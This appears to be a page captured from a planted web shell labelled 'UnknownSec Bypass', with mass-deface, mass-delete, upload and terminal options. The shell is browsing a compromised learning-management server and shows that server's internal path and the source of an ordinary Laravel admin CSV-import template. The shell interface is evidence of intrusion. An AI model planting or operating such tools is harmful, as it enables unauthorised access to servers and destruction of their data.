UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_5d22fc93410e
/
resources
/
views
/
admin
/
import
/
csv
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
index.blade.php
@extends('layouts.admin') <style> #overlay { background-color: black; width: 100%; height: 100%; position: fixed; top: 0; left: 0; display: none; z-index: 100; opacity: 0.5; background-image: url('../images/roller.gif'); background-repeat: no-repeat; background-attachment: fixed; background-position: center; } </style> @section('content') @if(Session::has('error')) <div class="alert alert-danger" role="alert"> <p><b>{{ Session::get('error') }}</b></p> </div> @endif <div class="panel panel-default"> <div class="panel-body"> {!! Form::open(['url' => route('admin.import.do'), 'method' => 'POST', 'files' => true, 'id' => 'import_csv']) !!} {!! Form::hidden('file', null, ['id' => 'file']) !!} <br> <div class="row"> <div class="form-group col-sm-4"> {!! Form::label('register_mail', trans('admin_import.labelRegisterMail')) !!} {!! Form::checkbox('register_mail', true, false) !!} </div> <div class="form-group col-sm-4"> {!! Form::label('enroll_course', trans('admin_import.labelEnrollCourse')) !!} {!! Form::checkbox('enroll_course', true, false) !!} </div> <div class="form-group col-sm-4" style="display:none;" id="grp_enroll_mail"> {!! Form::label('enroll_mail', trans('admin_import.labelEnrollMail')) !!} {!! Form::checkbox('enroll_mail', true, false) !!} </div> </div> <div class="row"> <div class="col-sm-12"> <div class="form-group"> {!! Form::label('upload_video', trans('admin_import.labelUploadFile')) !!}<span class="text-danger">*</span>: <div class="progress"> <div class="progress-bar progress-bar-success progress-bar-striped" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" style="width:0%"> 0% </div> </div> {!! Form::file('import', ['class' => 'form-control', 'id' => 'import', 'accept' => 'text/csv']) !!} <span class="help-block"> <small> <i class="glyphicon glyphicon-info-sign"></i> {!! trans('admin_import.helpFile') !!} </small> </span> </div> <div id="filename"></div> <br> </div> </div> <div id="status"></div> <br> <div class="row"> <div class="col-sm-3" style="display:none;" id="enroll-limit"></div> <div class="col-sm-3" style="display:none;" id="enrolled"></div> <div class="col-sm-3" style="display:none;" id="imports"></div> <div class="col-sm-3" style="display:none;" id="after-import"></div> </div> <br> <div class="row"> <div class="form-group col-sm-4"> {!! Form::label('group', trans('admin_import.labelGroup')) !!} {!! Form::select('group_id', $groups, null, ['class' => 'form-control']) !!} </div> </div> <div class="row" style="display:none;" id="grp_course_info"> <div class="form-group col-sm-8"> {!! Form::label('course_id', trans('admin_import.labelCourse')) !!} {!! Form::select('course_id', $courses, null, ['class' => 'form-control']) !!} </div> <div class="form-group col-sm-4"> {!! Form::label('plan_id', trans('admin_import.labelPlan')) !!} {!! Form::select('plan_id', $plans, null, ['class' => 'form-control']) !!} </div> <div class="form-group col-sm-4"> {!! Form::label('price', trans('admin_import.labelValue')) !!} {!! Form::text('price', null, ['class' => 'form-control decimal']) !!} </div> <div class="form-group col-sm-4"> {!! Form::label('discount', trans('admin_import.labelDiscount')) !!} {!! Form::text('discount', null, ['class' => 'form-control decimal']) !!} </div> <div class="form-group col-sm-4"> {!! Form::label('grand_total', trans('admin_import.labelTotal')) !!} <p class="form-control-static" id="grand_total"></p> </div> </div> <br> <div> <input class="btn btn-success btn-lg" type="submit" value="{!! trans('admin_import.btnImport') !!}" id="btn_import"> </div> {!! Form::close() !!} </div> </div> @stop @section('scripts') <script src="{{ asset('assets/js/plugins/simple-upload/simpleUpload.min.js') }}"></script> <script type="text/javascript"> $(document).ready(function () { $('.decimal').mask('000.000.000.000.000,00', {reverse: true}); $('#btn_import').prop("disabled", true); $('input[name=price]').change(function() { let discount = $('input[name=discount]').val() ? $('input[name=discount]').val() : "0,00" discount = discount.split('.').join(''); discount = discount.split(',').join('.'); discount = parseFloat(discount); let price = $('input[name=price]').val() ? $('input[name=price]').val() : 0 price = price.split('.').join(''); price = price.split(',').join('.'); price = parseFloat(price); let calc = price - discount; $('#grand_total').html(calc); }); $('input[name=discount]').change(function() { let discount = $('input[name=discount]').val() ? $('input[name=discount]').val() : "0,00" discount = discount.split('.').join(''); discount = discount.split(',').join('.'); discount = parseFloat(discount); let price = $('input[name=price]').val() ? $('input[name=price]').val() : 0 price = price.split('.').join(''); price = price.split(',').join('.'); price = parseFloat(price); let calc = price - discount; $('#grand_total').html(calc); }); $('#enroll_course').change(function() { $('#grp_enroll_mail').css("display", "none"); $('#grp_course_info').css("display", "none"); $('input[name=discount]').val(''); $('input[name=price]').val(''); $('#grand_total').html(''); $('#btn_import').prop("disabled", true); $('#filename').html("<b>{{ trans('admin_import.fileName') }}</b>"); $('#enroll-limit').css("display", "none"); $('#after-import').css("display", "none"); $('#enrolled').css("display", "none"); $('#imports').css("display", "none"); $('#status').html(''); if(this.checked) { $('#grp_enroll_mail').css("display", "block"); $('#grp_course_info').css("display", "block"); } }); $('#import_csv').submit(function (e) { e.preventDefault(); $('<div id = "overlay" />').appendTo('body').fadeIn("slow"); this.submit(); }); $('input[name="import"]').change(function () { let registerMail = $('#register_mail').is(':checked') ? 'true' : 'false'; let enrollCourse = $('#enroll_course').is(':checked') ? 'true' : 'false'; let enrollMail = $('#enroll_mail').is(':checked') ? 'true' : 'false'; /* Documentação http://simpleupload.michaelcbrook.com/ */ $(this).simpleUpload('/admin/import/upload', { data: { register_mail: registerMail, enroll_course: enrollCourse, enroll_mail: enrollMail }, allowedExts: ["csv"], allowedTypes: ["text/csv", "text/plain", "text/x-csv", "application/vnd.ms-excel"], maxFileSize: 5242880, //5MB in bytes start: function (file) { $('#filename').html('<b>{{ trans("admin_import.progressFile") }}</b> <span class="label label-info">' + file.name + '</span>'); $('#status').html(""); let progress = 0; $('.progress-bar').css('width', progress + '%').attr('aria-valuenow', progress); $('.progress-bar').html(progress + '%'); }, progress: function (progress) { //received progress $('.progress-bar').css('width', progress + '%').attr('aria-valuenow', progress); $('.progress-bar').html(parseInt(progress) + '%'); if (progress === 100) { $('#status').html('<span class="text-warning"><i class="fa fa-hand-paper-o" aria-hidden="true"></i> {{ trans("admin_import.progressProcessing") }}</span>'); } }, success: function (data) { //Upload finalized $('#filename').html('<b>{{ trans("admin_import.progressFinalized") }}</b> <span class="label label-info">' + data['file_name'] + '</span>'); if (data.fail) { //Backend error $('#uploaded_video').val(''); let error = $('<span class="text-danger"/>').text(data.errors.upload_video[0]); $('#status').html(error); return false; } $('#uploaded_video').val(data.name); $('#btn_import').prop("disabled", false); if (data['flag']) { $('#status').html("<span class='text-success'><i class='fa fa-check' aria-hidden='true'></i>" + data['msg'] + "</span>"); $('#btn_import').prop("disabled", false); } else { $('#status').html("<span class='text-danger'><i class='fa fa-check' aria-hidden='true'></i>" + data['msg'] + "</span>"); $('#btn_import').prop("disabled", false); } if ($('#enroll_course').is(':checked')) { $('#enroll-limit').html("<span class='text-success'><i class='fa fa-check' aria-hidden='true'></i> {{ trans('admin_import.enrollLimit') }} " + data['enroll_limite'] + "</span>").css("display", "block"); $('#enrolled').html("<span class='text-success'><i class='fa fa-check' aria-hidden='true'></i> {{ trans('admin_import.enrolled') }} " + data['enrolled'] + "</span>").css("display", "block"); if (data['flag']) { $('#after-import').html("<span class='text-success'><i class='fa fa-check' aria-hidden='true'></i> {{ trans('admin_import.afterImport') }} " + (data['enrolled'] + data['new_records']) + "</span>").css("display", "block"); } else { $('#after-import').html("<span class='text-danger'><i class='fa fa-close' aria-hidden='true'></i> {{ trans('admin_import.afterImport') }} " + (data['enrolled'] + data['new_records']) + "</span>").css("display", "block"); } } $('#imports').html("<span class='text-success'><i class='fa fa-check' aria-hidden='true'></i> {{ trans('admin_import.fileImports') }} " + data['new_records'] + "</span>").css("display", "block"); $('#file').val(data['file']); }, error: function (error) { $('#btn_import').prop("disabled", true); let message; switch (error.name) { case "InvalidFileExtensionError": message = "<span class='text-danger'> {{ trans('admin_import.fileInvalidFileExtensionError') }}</span>"; break; case "InvalidFileTypeError": message = "<span class='text-danger'> {{ trans('admin_import.fileInvalidFileTypeError') }}</span>"; break; case "MaxFileSizeError": message = "<span class='text-danger'> {{ trans('admin_import.fileMaxFileSizeError') }}</span>"; break; case "RequestError": message = "<span class='text-danger'> {{ trans('admin_import.fileRequestError') }}</span>"; break; case "UnsupportedError": message = "<span class='text-danger'> {{ trans('admin_import.fileUnsupportedError') }}</span>"; break; case "InternalError": message = "<span class='text-danger'> {{ trans('admin_import.fileInternalError') }}</span>"; break; default: message = error.message; } $('#status').html("<span class='text-danger'><b><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> {{ trans('admin_import.exclamation') }}</b>" + message); } }); }); }); </script> @stop
Copyright © 2026 - UnknownSec